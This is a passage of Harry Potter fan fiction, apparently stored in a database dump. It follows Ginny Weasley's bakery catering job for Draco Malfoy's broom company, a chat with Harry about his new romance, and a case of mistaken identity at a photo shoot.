it the bang against the cabinet that was situated above her toilet. &#8220;Oww!&#8221; she screeched, holding her head and rubbing the spot she had just hit. She could already feel a goose egg coming. What a wonderful day.\n<br><br>\nShe ran out of the bathroom and jumped over the couch making her way into the kitchen. She stood surveying the countertops for a moment, then found the thing she was looking for. The cookie jar. She pulled the top off, and sure enough, there was her mascara wand. &#8220;Found you,&#8221; she pulled the mascara out and went back into the bathroom.\n<br><br>\nAs soon as she was done getting ready she apparated back to Tasty Treats. She appeared right next to the refrigerator. &#8220;Hi, Colin,&#8221; she said stepping around it. He was standing with his back facing the countertop. Ginny frowned and sniffed the air.\n<br><br>\n&#8220;Er, hello Ginny,&#8221; he said smiling weakly. &#8220;So glad you&#8217;re back.&#8221;\n<br><br>\n&#8220;Is that something&#8230;BURNING?&#8221; she looked at him and pushed him away from the counter. There sat some very burnt cookies. &#8220;Colin!&#8221; she cried. &#8220;Oh no! I&#8217;ve got to make another batch, I&#8217;ve got to make another batch.&#8221; She started around the kitchen collecting her ingredients quickly and throwing them into a clean mixing bowl. She turned and gave him an angry look. &#8220;<i>You</i> go get ready, Colin. There are some robes in the back.&#8221;\n<br><br>\nColin nodded meekly and walked to the back store room, in search of Tasty Treat robes.\n<br><br>\n---\n<br><br>\n&#8220;What time did you say that the caterer was going to be here?&#8221; Draco asked looking at his watch. The meeting was coming back from their lunch break and he wanted to make sure that he would pause the meeting at the right time. \n<br><br>\n&#8220;At four, tea time,&#8221; said Pansy. She looked at her clipboard to confirm her answer. &#8220;Yes, four.&#8221;\n<br><br>\n&#8220;Alright,&#8221; Draco straightened his robes. &#8220;Who&#8217;s catering?&#8221;\n<br><br>\n&#8220;Tasty Treats.&#8221;\n<br><br>\n&#8220;Is that the shop owned by&#8212;&#8217;&#8217;\n<br><br>\n&#8220;Mr. Malfoy, all of the people are back from the break,&#8221; said a man from the meeting room.\n<br><br>\nDraco sighed, &#8220;Alright, I&#8217;m coming.&#8221; He walked back into the meeting room with a smile on his face.\n<br><br>\nThree hours later, Ginny arrived with Colin in tow. They walked to Pansy&#8217;s desk. &#8220;Hello,&#8221; Ginny said. &#8220;We&#8217;re here to cater for&#8212;&#8221;\n<br><br>\nPansy waved her hand, &#8220;Yes, Dragon Brooms. They&#8217;ll be breaking in a few minutes. Are you ready?&#8221;\n<br><br>\nGinny&#8217;s eyes widened and she twisted her hands nervously. She looked over her shoulder at Colin and whispered, &#8220;Colin, am I ready?&#8221;\n<br><br>\nColin rolled his eyes, &#8220;<i>Yes</i>, you&#8217;re ready.&#8221; He patted her shoulder reassuringly. &#8220;And if you aren&#8217;t, just remember that I&#8217;m here for you.&#8221;\n<br><br>	\n&#8220;Yes,&#8221; Ginny nodded. &#8220;You&#8217;re here for me.&#8221; She turned back to Pansy who was watching them with raised eyebrows, &#8220;I&#8217;m ready.&#8221;\n<br><br>\n&#8220;Lovely, now I&#8217;ll just go and tell them that you&#8217;re coming in&#8230;.&#8221; Pansy got up and walked down the hall, knocking on a door. She looked over at them, &#8220;Alright, they&#8217;re ready for you.&#8221;\n<br><br>\n&#8220;I&#8217;m ready. I&#8217;m ready. I&#8217;m ready.&#8221; Ginny repeated to herself. She looked at Colin. &#8220;I&#8217;m ready.&#8221;\n<br><br>\nColin smiled, &#8220;Of course you are. Now come on, let&#8217;s go.&#8221; Ginny sighed shakily and went and pushed the cart that they had brought in with them. She looked at Colin nervously, then walked to the room where Pansy held the door open. \n<br><br>\nShe rounded the corner and peered in before going in completely. Her heart leaped. The room was filled with expensively clad men, and a few very pointy looking women. She sniffed and walked in, plastering a huge smile on her face. &#8220;Hello,&#8221; she said kindly.\n<br><br>\nColin walked in behind her and helped her with asking what different people wanted, and getting their plates set up. Ginny was making her way around the table when she stopped at the head, her eyebrows furrowed. Draco Malfoy sat there giving her and indiscernible look.\n<br><br>\n&#8220;Erm, what would you like,&#8221; she asked. Then added, &#8220;Sir.&#8221;\n<br><br>\nThere was a bit of amusement twinkling in Draco&#8217;s eyes. &#8220;I&#8217;ll just have some of that,&#8221; he said, motioning towards something on the cart.\n<br><br><br><br>\n\nGinny slumped against the door. She looked and Colin and breathed deeply. &#8220;Round one certainly went well. Now we just have to bring in the desserts and then we can leave.&#8221;\n<br><br>\nColin grinned. &#8220;You know, I don&#8217;t think I&#8217;ve seen you this nervous since we took N.E.W.Ts.&#8221;\n<br><br>\nGinny swallowed, &#8220;Is it obvious?&#8221;\n<br><br>\n&#8220;No, of course not. You looked very composed in there. Now come on, let&#8217;s get these pies in there.&#8221; Ginny nodded and picked up a lemon meringue pie.\n<br><br>\nShe walked down that hall, her face turned down towards the floor, trying to be calm and collected before she walked into that room. Merlin knew that she was falling apart with nervousness. \n<br><br>\nBut of course, this was the exact same moment that Draco came out into the hall and Ginny ran smack into him. She put her hand up to try and catch her balance. The only problem with that was that the hand was her pie hand, and it flew straight into his face.\n<br><br>\nHer eyes widened and she let out a gasp and she stepped back slowly, her hands held up to her face. &#8220;Oh my gods.&#8221; She stared up at the ceiling. &#8220;Oh my gods. I can&#8217;t believe I just did that.&#8221; She looked back at Draco, &#8220;I&#8217;m so sorry. I swear I didn&#8217;t see you coming.&#8221;\n<br><br>\nDraco didn&#8217;t say anything. He wiped his fingers across his eyes, and stuck his fingers in his mouth, licking at them thoughtfully. After a moment, he said, &#8220;Tasty pie.&#8221;\n<br><br>\nGinny blinked, &#8220;What? I&#8217;m sorry, what did you say?&#8221;\n<br><br>\n&#8220;I said, &#8216;Tasty pie.&#8217;&#8221; Draco looked at her. \n<br><br>\nGinny gulped, feeling tears welling up in her eyes. &#8220;I&#8217;m so sorry. I swear. I&#8217;ll pay for your robes! I&#8217;ll&#8230;I didn&#8217;t mean to! I was just&#8230;and&#8230;.&#8221; She let out a wail that caused Colin to come running from around the corner.\n<br><br>\n&#8220;What&#8217;s wrong?&#8221; he asked, placing at hand on her shoulder. \n<br><br>\nShe looked at him through teary eyes. &#8220;I ruined it! I ruined everything! Look at what I did!&#8221; She gestured to Draco, who when Colin looked at him, just shrugged.\n<br><br>\nDraco murmured something, then cleared his throat. Ginny looked up at him and saw that all traces of the pie were gone. &#8220;Cleaning spell,&#8221; he said. \n<br><br>\n&#8220;Oh,&#8221; Ginny said in a small voice. &#8220;Of course.&#8221; She looked at Colin. &#8220;I suppose that we should get the other desserts?&#8221;\n<br><br>\n&#8220;Yeah, sounds like a plan,&#8221; Colin turned her around and led her back to the other desserts.   \n\n<br><br><br><br>\n\nAfter they were done, Colin left early, leaving Ginny alone to collect her pay. She stood in front of Pansy&#8217;s desk as soon as she had come out of the bathroom, where she had been hyperventilating and promising herself never to cater again. It was embarrassing enough that she had managed to get pie all over Draco Malfoy, who everyone knew was the head of Dragon Brooms, but she had just had vague remembrances of the guy that caught her. And for some reason, all signs pointed towards Draco. \n<br><br>\nShe collected herself, and was waiting patiently as Pansy chattered on her Wiz-Phone about promotional events. Pansy switched lines and said a few &#8220;okays&#8221; and look up at Ginny. &#8220;Mr. Malfoy will see you now.&#8221;\n<br><br>\nGinny&#8217;s eyebrows flew down. &#8220;He&#8217;ll see me? I thought that you would just&#8230;.&#8221; she trailed off at the look that Pansy was giving her. &#8220;Well, yes, of course, I&#8217;ll just go right in there.&#8221;\n<br><br>\nShe walked behind Pansy&#8217;s desk and knocked on Draco&#8217;s door. She heard him say come in and pushed the door open slowly. He was sitting behind his desk, munching on one of the left over cookies. She shut the door behind her and stood in front of his desk. &#8220;Yes?&#8221; she asked politely.\n<br><br>\n&#8220;Have you ever catered before?&#8221;\n<br><br>\n&#8220;Er, not really, once or twice.&#8221;\n<br><br>\nHe nodded. &#8220;You did a pretty good job, minus the pie incident of course.&#8221;\n<br><br>\nGinny blushed, &#8220;I&#8217;m sorry! I&#8217;ll&#8212;&#8217;&#8217;\n<br><br>\nHe raised an eyebrow, &#8220;As you can see, I&#8217;m quite alright. No harm done, maybe just a slight phobia of pies, but I&#8217;m alright.&#8221;\n<br><br>\nGinny stared at him. He was teasing her. \n<br><br>\n&#8220;Well then, I guess I&#8217;ll just be out of your way. I&#8217;m sure that you have lots to do.&#8221; Ginny started backing up towards the door.\n<br><br>\n&#8220;Wait a minute, I haven&#8217;t even paid you yet,&#8221; Draco frowned at her. &#8220;What&#8217;s the hurry?&#8221;\n<br><br>\n&#8220;Well, I&#8230;&#8221; she couldn&#8217;t think of anything.\n<br><br>\n&#8220;Come, sit,&#8221; he gestured to one of the chairs in front of his desk. She did as she was told. Maybe the less she said, the sooner she would be able to get out of there. &#8220;So tell me,&#8221; he said, that odd glint in his eye again. &#8220;Has your sense of gravity improved any?&#8221;\n<br><br>\n&#8220;My sense of what?&#8221; she looked confused, then her eyes widened. Damn, she was hoping that maybe he had forgotten about that whole incident. &#8220;Yes&#8230;It has, I guess.&#8221; Oh gods, she thought. He probably thought that she was a drunk. And she wasn&#8217;t, it was just that one time. &#8220;I&#8217;m not like that all the time,&#8221; she said. He raised his eyebrows. &#8220;I was&#8230;I was feeling guilty.&#8221; Why did she suddenly feel like she owed him an explanation? &#8220;I was just going to have a little. I really hardly have any. I don&#8217;t really remember much that happened. I was just&#8230;&#8221; she stopped. Why was she telling him this? She put her face in her hands and groaned.\n<br><br>\nShe looked back up and saw that he had a slight smirk on his face. He was mocking her! Why was he always doing that? &#8220;I see,&#8221; he said noncommittally. \n<br><br>\n&#8220;Can&#8230;can I just have my pay? I really have to go now,&#8221; she forced out. He was making her more nervous than she was to begin with, and that wasn&#8217;t good.\n<br><br>\n&#8220;Alright,&#8221; he said. He pulled open a drawer and produced a bag of coins that clinked loudly. &#8220;Here you are,&#8221; he handed it to her.\n<br><br>\n&#8220;Uh, thank you,&#8221; she said, leaping up out of her chair and practically running out of his office. She could have sworn she heard him laughing, but she didn&#8217;t look back, she just wanted to get out of there as soon as possible.\n<br><br><br><br><br><br><br><br><br><br><br><br>\n\n<b>VF:</b> I suppose that this is enough for a chapter, right? I hope you guys liked it, I was writing it in the wee hours of the morning, coughing my feeble pansy coughs. Yes, I had pansy coughs because if I coughed too hard, then it would feel like my throat was being ripped open, but I&#8217;m sure you guys don&#8217;t want to hear about that.\n<br><br>\nUhm, I hope that Draco doesn\'t seem too OOC. I\'m hoping that when he grows older he\'ll understand that the &quot;neener-neener&quot; approach to teasing is a bit...<i>old</i>. So he\'ll use a more subtle approach, and is very mocking. I hope it\'s alright.\n<br><br>\nAnyways, thanks for your reviews!!! They make my day.\n<br><br>\nP.S. Big thanks to Komal for betaing. :-)\n<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>\n'),
	(100, 4, '\n<br><br>\nDisclaimer: I only own Swink and Nick. NOTHING ELSE! \n<center><br><br>\n<b><u>As the Cookie Crumbles</u><br>\nChapter Four- Decorating the Cookies!!!</b><br>\n<i>By VirtualFaerie</i>\n</center>\n<br><br><br><br>\n&#8220;How much money do you suppose is in there?&#8221; Ginny asked. Both she and Colin were sitting in her apartment, staring at the bag.\n<br><br>\nColin shook his head. &#8220;I don&#8217;t know. Maybe you should open it and see.&#8221;\n<br><br>\n&#8220;Oh, no, Colin, I can&#8217;t!&#8221; Ginny said. She gave him a look. &#8220;What if&#8230;what if it&#8217;s not as much as I&#8217;m expecting and I get let down?&#8221;\n<br><br>\n&#8220;What if it&#8217;s more than you&#8217;re expecting,&#8221; Colin countered. \n<br><br>\nGinny shrugged, eyes still trained to the bag. &#8220;What if I just tuck it in a corner and never look at it again unless there&#8217;s some sort of emergency and I <i>really</i> need the money?&#8221;\n<br><br>\nColin groaned. &#8220;Ginny! Just open the bag, look at how much it is, and do your happy dance.&#8221;\n<br><br>\n&#8220;Okay.&#8221;\n<br><br>\n&#8220;Okay? Just like that it&#8217;s &#8216;okay&#8217;?&#8221; Colin asked.\n<br><br>\nGinny looked at him, eyebrows lowered. &#8220;What? Now you don&#8217;t want me to open it? What&#8217;s wrong with you?&#8221;\n<br><br>\n&#8220;What&#8217;s wrong with me? You&#8217;re the one  being all indecisive and changing your mind!&#8221;\n<br><br>\nThe bell on the door rang as someone stepped into the shop. They both looked up and saw that it was Harry. He was looking at them, quite amused. &#8220;Another lover&#8217;s spat?&#8221; he asked.\n<br><br>\nColin snorted. &#8220;You&#8217;ve <i>got</i> to be kidding me. Only a moron would want to be with&#8230;&#8221; his eyes widened. &#8220;Er, no offense, Harry.&#8221;\n<br><br>\nHarry shrugged, &#8220;None taken.&#8221;\n<br><br>\nGinny wasn&#8217;t saying much. She had her elbow propped up on the counter and her chin resting in the palm of her hand, fingers curled upwards and tips resting on her face. &#8220;What&#8217;s up, Gins?&#8221;\n<br><br>\n&#8220;Nothing.&#8221;\n<br><br>\nColin rolled his eyes. &#8220;She took a catering job for Dragon Brooms, and now that she has her pay she won&#8217;t look at how much it is.&#8221;\n<br><br>\n&#8220;Why didn&#8217;t you just look?&#8221; Harry asked.\n<br><br>\nColin flushed and made some vague motions in the air with his hands. &#8220;It&#8217;s her money.&#8221;\n<br><br>\nWithout a moment&#8217;s hesitation, Harry picked up the bag, loosened the draw strings and dumped it on the counter. Coins flew out on top of each other, clinking loudly, some rolling off the counter, sending Colin jumping for them. Ginny stared at the coins.\n<br><br>\nAfter Colin got all of them put back on the counter, Ginny counted them. She looked up at Harry and Colin, her eyebrows raised. &#8220;That&#8217;s...that&#8217;s 300 galleons.&#8221;\n<br><br>\n&#8220;Good gods, Gins, you could open a whole other shop with all that.&#8221; Colin looked at the money.\n<br><br>\nHarry raised an eyebrow. &#8220;That must have been some pretty good food you made.&#8221;\n<br><br>\nGinny tilted her head to the side. &#8220;I catered for Dragon Brooms. Maybe this is just the standard price they pay. Probably had nothing to do with food quality.&#8221;\n<br><br>\n&#8220;It might have had something to do with the man that hired you&#8230;&#8221; Colin said with a mischievous glint in his eye.\n<br><br>\n&#8220;Oh, shut it, Colin. I put a pie in his face, it has nothing to do with that,&#8221; Ginny grumbled.\n<br><br>\n&#8220;You did what?&#8221; Harry asked, surprised.\n<br><br>\n&#8220;It was an accident!&#8221;\n<br><br>\n&#8220;Yeah, and she almost had a heart attack over it,&#8221; Colin added.\n<br><br>\n&#8220;I did not!&#8221;\n<br><br>\n&#8220;Yes, yes you did.&#8221;\n<br><br>\n&#8220;Did not.&#8221;\n<br><br>\n&#8220;Did.&#8221;\n<br><br>\n&#8220;Not.&#8221;\n<br><br>\n&#8220;Not.&#8221;\n<br><br>\n&#8220;Did.&#8221;\n<br><br>\n&quot;Ha!&quot; Colin said, jumping up and pointing at Ginny. &quot;You admit it!&quot;\n<br><br>\nGinny gave him a surprised look. &quot;That was a very low and dirty trick, Creevey,&quot; she said. \n<br><br>\n&#8220;Alright! Alright! Cut that out <i>children</i>.&#8221; Harry said, smiling. Ginny and Colin were looking at him insolently.\n<br><br>\n&#8220;He started it,&#8221; Ginny said pointing at Colin. \n<br><br>\nColin moved like he was going to bite off the tip of her finger. She snapped it back and glared. &#8220;I did not,&#8221; he said.\n<br><br>\n&#8220;Okay,&#8221; Harry said. &#8220;Who started it doesn&#8217;t matter. I&#8217;m ending it.&#8221; He sighed and raked his finger through his hair.\n<br><br>\n&#8220;You sound like my mother,&#8221; Ginny groused. Harry gave her a look and she raised her hands defensively, &#8220;Just saying!&#8221;\n<br><br>\nHarry shook his head. &#8220;This is<i> not</i> what I came here for.&#8221; He looked at Ginny. &#8220; I actually came to see if you&#8217;d like to get a drink.&#8221;\n<br><br>\n&#8220;A drink?&#8221;\n<br><br>\n&#8220;Yes, I do believe that&#8217;s what I said.&#8221;\n<br><br>\n&#8220;But didn&#8217;t you&#8230;just the other day, didn&#8217;t you say that you had a date with someone? And if I&#8217;m not mistaken, aren&#8217;t we&#8230;<i>over</i>?&#8221; Ginny asked, slightly confused.\n<br><br>\nHarry blinked, &#8220;That&#8217;s what I wanted to talk to you about. My date.&#8221;\n<br><br>\n&#8220;Oh, right, silly me,&#8221; Ginny said blushing. \n<br><br>\n&#8220;Really, Gins,&#8221; Colin said grinning. &#8220;You have <i>got</i> to get over yourself.&#8221;\n<br><br>\nGinny glared at him. &#8220;And you&#8217;ve got to learn when to <i>shut up</i>.&#8221; She sniffed. &#8220;Colin will you stay here and work the shop while I&#8217;m gone? Promise I won&#8217;t be too long.&#8221;\n<br><br>\n&#8220;Yeah, yeah,&#8221; Colin waved a dismissive hand. &#8220;I don&#8217;t mind a bit.&#8221;\n<br><br>\n&#8220;Thanks, you&#8217;re a dear,&#8221; Ginny gave him and peck on the cheek and darted out the door with Harry in tow.\n<br><br>\nThe door shut and the bell rang behind them. &#8220;So, where too?&#8221; Ginny asked.\n<br><br>\nHarry looked around. &#8220;Maybe it&#8217;s best if we don&#8217;t go out, there are still lurking reporters.&#8221;\n<br><br>\n&#8220;To my flat then? I certainly still have plenty to drink,&#8221; said Ginny. &#8220;Apparate?&#8221;\n<br><br>\n&#8220;Sure.&#8221;\n<br><br>\nThey both apparated to her flat, Harry landing in the living room gracefully and Ginny toppling over the couch, again. She always seemed to do that, not being able to really get the whole apparating thing down pat.  She smoothed her robes, catching Harry\'s amused smile.\n<br><br>\n&quot;Agh,&quot; she said. &quot;Don\'t give me that look. I can\'t help that my distance gauge is all out of whack.&quot;\n<br><br>\nHe nodded. &quot;I\'m sure you can\'t. But...&quot;\n<br><br>\n&quot;Oh yes!&quot; Ginny clapped her hands together and grinned. &quot;Ha, we came here to discuss your <i>date</i>. Tell me who it was!! You didn\'t last time, and I feel absolutely cheated. How could you not have told me? I <i>am</i> your friend, right?&quot;\n<br><br>\n&quot;Of course you\'re my friend, Gins,&quot; Harry reassured. &quot;Remember that you burned your tongue?&quot; he asked, eyes glimmering. &quot;That\'s why I didn\'t tell you, you were too worked up already.&quot;\n<br><br>\nGinny nodded understandingly. &quot;Well, you go on and sit down on the couch, I\'ll go and see what I\'ve got to drink in the kitchen. Don\'t move a muscle,&quot; she said walking into the kitchen. &quot;I want to hear about this date of yours.&quot;\n<br><br>\nHarry sat on the couch, hearing something crunch under his weight. It was a magazine. He picked it up and saw that it was one from that week, the front page headline was glaring up at him. &quot;<b>Harry Potter\'s Bride: Not <i>Just</i> Cold Feet</b>&quot;. On the subheading there were sentences proclaiming her cheating on Harry. He furrowed his eyebrows and opened it up, turning the pages to find the one that would supposedly give evidence to this cheating.\n<br><br>\n&quot;Would you like soda, tea, or something alcoholic?&quot; Ginny called from the kitchen.\n<br><br>\n&quot;Soda is fine,&quot; Harry said. He found the article and skimmed it. His worried look quickly turned to one of mild amusement. The writer of the article seemed to think that Ginny was having a secret and illustrious affair with Colin Creevey. Despite the funniness of it all, Ginny was getting the brunt of the breakup. Everyone was sorry and sympathetic for Harry, The-Boy-Who-Lived. But the public had turned Ginny into a tramp.\n<br><br>\nGinny came back into the living room, carrying two cups in her hand. She looked from the magazine to Harry then back to the magazine. &quot;I hope you don\'t believe a word of what you read,&quot; she said quietly. She sat down on the couch next to him, handing him his cup.\n<br><br>\nHarry shook his head. &quot;How could I believe this? I\'ve been around the media enough to know that they overplay everything. But really Ginny, why would they suspect Colin?&quot; He nudged her suggestively in the ribs with his elbow.\n<br><br>\n&quot;Ow.&quot; She rubbed her injured ribs and smiled. &quot;I have no idea. It\'s not like I do anything with Colin. Anyone who knows me, knows that we\'ve been best friends since Hogwarts. The last thing we would ever do would be to have a relationship like that.&quot;\n<br><br>\nHarry shrugged. &quot;I wouldn\'t be surprised if it did happen.&quot;\n<br><br>\n&quot;Harry!&quot; Ginny smacked Harry\'s arm. &quot;Don\'t let Colin hear you saying that. He might barf on you.&quot; She gave him a look. &quot;Well, we didn\'t come here to discuss me and Colin\'s non-existing relationship.&quot; She sighed. &quot;Stop trying to change the subject.&quot;\n<br><br>\n&quot;Look, Ginny,&quot; said Harry. &quot;I just wish that this whole breakup didn\'t effect you so badly.&quot;\n<br><br>\n&quot;It hasn\'t,&quot; Ginny denied.\n<br><br>\n&quot;Then what was this Colin told me about you falling off of your balcony...drunk?&quot;\n<br><br>\n&quot;Ugh,&quot; Ginny groaned, pressing a hand to her forehead. &quot;Why did he tell you that? I told him not to tell anyone.&quot;\n<br><br>\n&quot;I\'m glad he told me. Aren\'t I your friend?&quot;\n<br><br>\n&quot;Of course. It\'s just all so embarrassing. I hardly ever get drunk, in fact, I think that was the first time ever.&quot; Ginny took a sip of her tea. &quot;It\'s not all that bad, everyone blaming me. You kind of get used to it.&quot;\n<br><br>\nHarry gave her a stern look. &quot;But it isn\'t all your fault. Why should you have to get used to it just because I\'m Harry Potter?&quot;\n<br><br>\nGinny shrugged. &quot;Harry, it doesn\'t matter to me anymore. I know what they\'re saying isn\'t true, and you do too, that\'s all that matters to me.&quot; She huffed. &quot;Now stop trying to change the subject and tell me who you had this date with.&quot;\n<br><br>\nThe tips of Harry\'s ears turned pink. &quot;It\'s Hermione,&quot; he mumbled.\n<br><br>\nGinny grinned. &quot;What was that? I don\'t think I quite heard.&quot;\n<br><br>\nHarry glared at her. &quot;You heard. I said Hermione.&quot;\n<br><br>\n&quot;That\'s so cute!&quot; Ginny sighed. &quot;Harry and Hermione. Now why didn\'t I ever think of that. For a moment there I thought you were going to say Lavender Brown or something like that.&quot;\n<br><br>\n&quot;No,&quot; said Harry. &quot;That\'s Ron.&quot;\n<br><br>\n&quot;Ronnie is going out with <i>Lavender</i>?&quot; Ginny asked, setting her tea down. &quot;No way, he can\'t be. Why is he going out with her?&quot;\n<br><br>\nHarry laughed. &quot;I don\'t know, that\'s a question that you\'ll have to ask him yourself.&quot;\n<br><br>\n&quot;Well, he better have a good reason. I never did like her that much...she liked Trelawney too much.&quot; Ginny said, nodding. \n<br><br>\nHarry cleared his throat. &quot;Maybe I should be going now. I told you who my date was, just like you wanted me to.&quot;\n<br><br>\n&quot;What?&quot; Ginny asked, scandalized. &quot;You don\'t want to stay and talk about it some more?&quot; She sniffed. \n<br><br>\n&quot;Erm, no. It\'s just that I\'m...well, I\'m supposed to be meeting her for dinner soon.&quot; Harry said, blushing slightly.\n<br><br>\n&quot;Oh, yes, of course. Don\'t let me hold you back then!&quot; Ginny said, grinning. &quot;Rawr, go get her tiger!&quot;\n<br><br>\nHarry rolled his eyes. &quot;Sure, sure.&quot; He put down his cup on the table and leaned over to give Ginny a kiss on the cheek. &quot;Talk to you later, Gins.&quot;\n<br><br>\n&quot;Alright,&quot; said Ginny. &quot;Be sure not to get into too much trouble now.&quot; She winked and he disapparated.\n<br><br>\nGinny sighed to her apartment, and decided that she needed to get back to work. There was no telling what Colin could have messed up while she was gone.\n<br><br>\n---\n <br><br>\n<i>A Week Later</i>\n<br><br>\n&quot;Ta, Colin, I\'m off for my lunch break. Be back in an hour!&quot; Ginny called over her shoulder, picking up her wand and purse as she left Tasty Treats.\n<br><br>\nColin called a hasty &quot;Good bye!&quot; after her as a surge of little kids drifted to the counter with wrung thin mothers trying to get their kids something to keep them quiet for the remainder of their afternoon errands.\n<br><br>\nGinny stepped out into the cobblestone street and looked for somewhere good to eat. Normally, she might have just stayed at the store and had a sandwich there or something, but today was really busy, probably from the publicity they had gotten for doing that job for Dragon Brooms. But she had just wanted to get away for a while. She\'d have to make sure to hurry so that she could relieve Colin after not to long.\n<br><br>\nThe Candelabra look awfully appetizing, but there was too long of a wait for the food, strike that. She looked around the rest of the street, eyeing the restaurants thoughtfully, trying to decide on the one that would sate her hunger the best. Finally, she decided that The Leaky Cauldron sounded just fine, and if she was lucky she might run into someone she knew there.\n<br><br>\nShe set off down the street, making her way to The Leaky Cauldron.\n<br><br>\nThere was a mass of people crowding the street in front of the Dragon Brooms building. She looked at it curiously, poking her way through the sea of people, hoping to get to the other side unscathed. But someone grabbed her arm. \n<br><br>\n&quot;Hullo! I\'m so glad that you could make it. We\'ve been waiting for you for ages you know, we were starting to think that you wouldn\'t show,&quot; said a man clad in a very expensive robe. He had on immaculate shoes with little tassels, and he was wearing an Armani tie, did you ever doubt that Armani wasn\'t a wizard? Well, anyways, he was wearing his super fancy clothes as he led her off through the crowd at break neck speed.\n<br><br>\n&quot;Wait! I don\'t know what you\'re talking about!&quot; she cried over the voices of the people.\n<br><br>\nThe man looked at her and laughed, as if to humor her. &quot;Why? Didn\'t you know that you had a photo shoot today?&quot; he asked. &quot;The promotional one?&quot;\n<br><br>\n&quot;Photo shoot?&quot; Now she was confused. &quot;I\'ve never heard of any--&quot;\n<br><br>\n&quot;I\'m sure it must have just slipped your mind. Surely, Miss Swink, you can\'t have forgotten that you\'ve signed a contract of the promotional pictures for the newest of our line. The Aero?&quot; He gave her a look. &quot;Ring a bell, Miss?&quot;\n<br><br>\nShe searched her memory, where had she heard the name Swink before? Oh gods, the man thought that she was Alexandra Swink for Ireland. Alexandra Swink, the quidditch player. &quot;Oh no!&quot; she said. &quot;I\'m not--&quot;\n<br><br>\nHe gave her a look. &quot;Of course you are, come along now. I\'d be able to make out that red hair of yours anywhere.&quot;\n<br><br>\nShe groaned and put a hand on her head. &quot;Goddamned hair, always getting me into trouble,&quot; she muttered.\n<br><br>\n&quot;What was that?&quot; the man asked.\n<br><br>\n&quot;Nothing. But I really do think that you\'ve got the wrong--&quot;\n<br><br>\n&quot;Nonsense. I was given a picture of you, I\'d know you anywhere.&quot;\n<br><br>\nHe pulled her through the last of the crowd and she vaguely remembered hearing people call out, &quot;Alex! Alex! Can I have your autograph?&quot; Or, &#8220;May I have your siggy?&#8221;\n<br><br>\nShe shook her head confusedly as the man held her out to some make-up people. How can these people mistake her for Alexandra Swink? She didn\'t even look like the bloody quidditch play, minus the hair...and the eyes...and height...and. \n<br><br>\n&quot;Oh fuck it,&quot; Ginny said out loud without realizing it.\n<br><br>\nOne of the make-up ladies gave her a dubious look. &quot;You okay, Miss Swink?&quot; Ginny gave up, she really did just give up. She supposed that she did look a little bit like the Irish seeker. She was small and red-headed, and also had the same brown eyes. They didn\'t look exactly alike, but she had been mistaken for her before. She sighed as they pushed her down into a chair.\n<br><br>\n&quot;I\'m not--&quot; The man was back and he had cut her off.\n<br><br>\n&quot;I\'m Nick. If you need anything don\'t hesitate to call for me,&quot; he said. &quot;As soon as Mrs. Fielding is done with you,&quot; Ginny assumed this was the make-up artist, &quot;We\'ll send you in to meet with Mr. Malfoy.&quot;\n<br><br>\nGinny wasn\'t sure if she was going to laugh or cry. Surely seeing Malfoy would get her out of this predicament. He would know that she wasn\'t Swink. She let out a long sigh and looked at Nick, smiling. &quot;Okay.&quot;\n<br><br>\nHe seemed a bit taken aback. So far she had been protesting even coming in, now she was being complacent? &quot;Well,&quot; he back up. &quot;I guess that I\'ll be going now. See you in a while.&quot;\n<br><br>\n&quot;Yeah, see you,&quot; she said, sitting back in the make-up chair and deciding to enjoy this little free make over while she could. It wasn\'t often that she got treated to a full facial.\n<br><br>\n-\n<br><br>\n&quot;Alright, Miss Swink,&quot; Nick had come back into the make-up room.\n<br><br>\nThe ladies in there had to practically rip Ginny\'s robes away from her and give her new ones. Something that they didn\'t understand at all. They had curled her hair and covered her face with every make-up imaginable. But, Ginny had to admit, she did look good. Better than she normally did anyways.\n<br><br>\nHer hair had been curled and was piled up on top of her head nicely, with stray tendrils framing her face and a few trailing down her neck. They had applied very nice brownish-rose eye shadow and a very pretty pinky lipstick to her face. They left her with a rather matte look that required lots of make-up products. Odd. They put on a bit of mascara and curled her lashes, making them appear longer than normal. Her Tasty Treat robes had been taken and replaced with dark blue robes and stuck to her in a sort of unfamiliar way that caused her to pull them away from her body from time to time.\n<br><br>\n&quot;Come on.&quot; Nick said, not even noticing the difference in her appearance. \n<br><br>\n&quot;I\'m coming,&quot; Ginny said, picking up her bag. She glanced at her watch. It was well over an hour, hopefully Colin would be understanding. What was she thinking, of course he would be; he was her best friend, right?\n<br><br>\nShe followed him out of the make-up/dressing room and down a long hall. He knocked on a door and waited for a &quot;Come in.&quot; He pushed the door open and revealed Draco sitting at the head of a large table. He was sitting alone with papers and folders all spread out in front of him, and was in the process of going over all of them.\n<br><br>\n&quot;Here\'s Miss Swink,&quot; Nick said, pushing Ginny into the room.\n<br><br>\nDraco raised and eyebrow and looked at Nick. &quot;This is Swink?&quot; He looked at Ginny.\n<br><br>\n&quot;Er.&quot; Nick looked at Ginny. &quot;Yeah?&quot;\n<br><br>\nDraco shook his head, &quot;This is <i>not</i> Swink.&quot;\n<br><br>\n&quot;Are you sure because--&quot;\n<br><br>\nDraco looked at Ginny again, &quot;Are you Alexandra Swink?&quot; He had a small smirk on his lips.\n<br><br>\n&quot;No,&quot; Ginny said. &quot;I tried telling him, but he wouldn\'t listen.&quot;\n<br><br>\n&quot;Wh-What?&quot; Nick spluttered.\n<br><br>\nGinny sighed, &quot;I tried to tell you. But, like I said, you wouldn\'t listen. Really, you could have saved yourself a lot of trouble.&quot; Draco was watching them, slightly amused.\n<br><br>\n&quot;Then who the hell are you?&quot; Nick asked. \n<br><br>\nShe frowned at him. &quot;I\'m Ginny Weasley, the owner of Tasty Treats.&quot;\n<br><br>\n&quot;Oh,&quot; Nick said, face falling. &quot;Lovely chocolate chip cookies,&#8221; he said dismally. \n<br><br>\n&quot;Thanks.&quot;\n<br><br>\n&quot;Aren\'t you also that woman who dumped Harry Potter?&quot; Nick asked, eyes widening in recognition.\n<br><br>\nGinny ruffled. &quot;It was more of a joint agreement.&quot;\n<br><br>\n&quot;Right,&quot; Nick said, his eyes were now lit up. &quot;And you had that affair with Colin Creevey?&quot;\n<br><br>\n&quot;NO!&quot; Ginny growled. &quot;Shut up! That didn\'t happen. Colin is my best <i>friend</i>.&quot; She glared menacingly. &quot;You are insane.&quot;\n<br><br>\nDraco chuckled. &quot;That\'s enough Nick, out.&quot; Nick bowed his head and walked out of the room. &quot;Sit, Weasley,&quot; he commanded.\n<br><br>\nGinny sniffed, but took a seat not far from his.\n<br><br>\n&quot;Now tell me, how on earth did he get the impression that you\'re Swink?&quot; Draco asked, 